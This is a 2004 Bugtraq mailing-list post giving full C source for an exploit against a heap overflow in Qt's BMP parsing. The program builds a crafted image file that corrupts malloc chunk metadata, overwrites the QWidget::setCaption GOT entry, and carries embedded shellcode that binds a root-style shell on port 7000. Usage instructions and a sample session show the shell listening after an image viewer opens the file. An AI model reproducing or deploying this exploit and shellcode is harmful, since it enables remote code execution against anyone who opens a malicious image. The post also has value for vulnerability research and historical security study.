Date: Sat, 21 Aug 2004 04:05:36 -0400
From: infamous41md@...pop.com
To: bugtraq <bugtraq@...urityfocus.com>
Subject: EXPLOIT: Qt bmp heap overflow


/*
 *  heap overflow exploit for qt bmp parsing bug
 *  infamous42md AT hotpop DOT com  
 *
 *  shouts to mitakeet, MB, and peeps @hackaholic
 *
 *  ok, pretty standard heap overflow here. we spill across our chunk and
 *  overwrite the boundary tag for next chunk.  the only problems i had was
 *  finding a miserable jump slot to overwrite.  i thought i could just
 *  overwrite malloc jump slot, but umm, well i'm not sure how to get the jump
 *  slot for malloc from the shared library file.  it is some sort of offset
 *  from somewhere, and i'm not sure where.  using the malloc jump slot from the
 *  program you're exploiting doesn't seem to work.  sorry i'm not an expert on
 *  linking and loading yet, maybe after i read the 'linker loader' book next
 *  semester i will be... but perhaps someone could explain this to me?  so
 *  anyways, instead i hijacked QWidget::setCaption() jump slot.  and how did i
 *  find that? well, it sure wasn't a 1337 way.  i dumped the GOT in gdb until i
 *  found the address.  so the below adddress is for Qt multithreaded 3.3.2. i'm
 *  sure it is different for other machines/platforms, so you'll need to do some
 *  digging i'm guessing.  the program i used to test all this was qvv image
 *  viewer b/c it was small and didn't take 37 hours to d/l like Konqueror would
 *  of.  obviously the heap layout is going to vary greatly from program to
 *  program, and depending on at what point in a given program the bmp is
 *  loaded, so i can't see this being a very reliable way to exploit.  rather
 *  just a POC.
 * 
 * [n00b@...alho.outernet] netstat -ant | grep 7000
 * [n00b@...alho.outernet] gcc -Wall haqt.c 
 * [n00b@...alho.outernet] ./a.out 0x80be9f8 8
 * [n00b@...alho.outernet] ./qvv suckit.bmp 
 * [n00b@...alho.outernet] netstat -ant | grep 7000
 * tcp        0      0 0.0.0.0:7000            0.0.0.0:*               LISTEN      
 * [n00b@...alho.outernet] ./a.out 
 *         Usage: ./a.out < retaddr > [ align ]
 *
 */
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>


#define RETLOC 0x808cd0c    /* jump slot for QWidget::setCaption */
#define ALIGN 8
#define die(x) do{perror(x); exit(EXIT_FAILURE);}while(0)
#define BS 0x10000
#define OUTFILE "suckit.bmp"
#define NCHUNK_BYTES 100

/*  a bitmap header structure */
#define BMP_HDR_SZ sizeof(struct bmp)
struct bmp {
    u_char  type[2];
    u_int   bfsize,
            reserved,
            offbits,    /* BMP_FILEHDR_SIZE */
            bisize,     /* 40 */
            width,      /* 8 */
            height;     /* 18 */
    u_short planes,     /* 1 */
            bitcount;   /* 8 */
    u_int   compres,    /* 1 */
            szimg,
            xppm,
            ypppm,
            clrused,    /* 1 */
            clrimportant;
} __attribute__ ((packed));


/*  a dlmalloc chunk descriptor */
#define CHUNKSZ sizeof(mchunk_t)
typedef struct _mchunk {
    size_t  prevsz;
    size_t  sz;
    long    fd;
    long    bk;
} mchunk_t;


/* call them on port 7000, mine, and needs to lose some weight */
#define SHELL_LEN (sizeof(remote)-1)
char remote[] =
"\xeb\x0a""1234567890"  /* jump */
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\xa1\x5f\x66\x6e\x69";
    

void make_bmp(char *buf, int len)
{
    int fd = 0;

    /* create the 3vil file */
    if( (fd = open(OUTFILE, O_RDWR|O_CREAT, 0666)) < 0)
        die("open");
    
    if(write(fd, buf, len) < 0)
        die("write");

    close(fd);
}

/*
 *
 */
int main(int argc, char **argv)
{
    int len = 0, x = 0, align = ALIGN;
    char    buf[BS];
    u_long  retaddr;
    struct bmp   bmp;
    mchunk_t    chunk;
 
    if(argc < 2){
        fprintf(stderr, "\tUsage: %s < retaddr > [ align ]\n", argv[0]);
        return EXIT_FAILURE;
    }
    if(argc > 2){
        align = atoi(argv[2]);
        if(align < 0 || align > 15)
            die("get bent bitch");
    }
    sscanf(argv[1], "%lx", &retaddr);

    /* setup bitmap header info */
    memset(&bmp, 0, BMP_HDR_SZ);
    bmp.type[0] = 'B', bmp.type[1] = 'M';
    bmp.bfsize = 3126;
    bmp.bisize = 40;
    bmp.planes = 1;
    bmp.bitcount = 8;
    bmp.compres = 1;
    bmp.clrused = 1;
    bmp.width = 8;
    bmp.height = 18;
    
    /* and the chunk */
    chunk.prevsz = 224;
    chunk.sz = 0xfffffffc;
    chunk.fd = RETLOC - 12;
    chunk.bk = retaddr;

    /* and now setup the buffer */
    memcpy(buf, &bmp, BMP_HDR_SZ);
    len += BMP_HDR_SZ;

    /* to pass some checks */
    len += 4;           /* the color table */
    buf[len++] = 0;     /* to pass the if() */
    buf[len++] = 0xff;  /* overwrite len */

    /* 
     * and now the fun begins:
     * first splatter the chunks, then the shellcode
     */
    len += align;
    for(x = 0; x < NCHUNK_BYTES-CHUNKSZ-1; x += CHUNKSZ)
        memcpy(buf+len+x, &chunk, CHUNKSZ);
    len += x;
    memcpy(buf+len, remote, SHELL_LEN);
    len += SHELL_LEN;

    make_bmp(buf, len);
    return 0;
}


-- 
-sean

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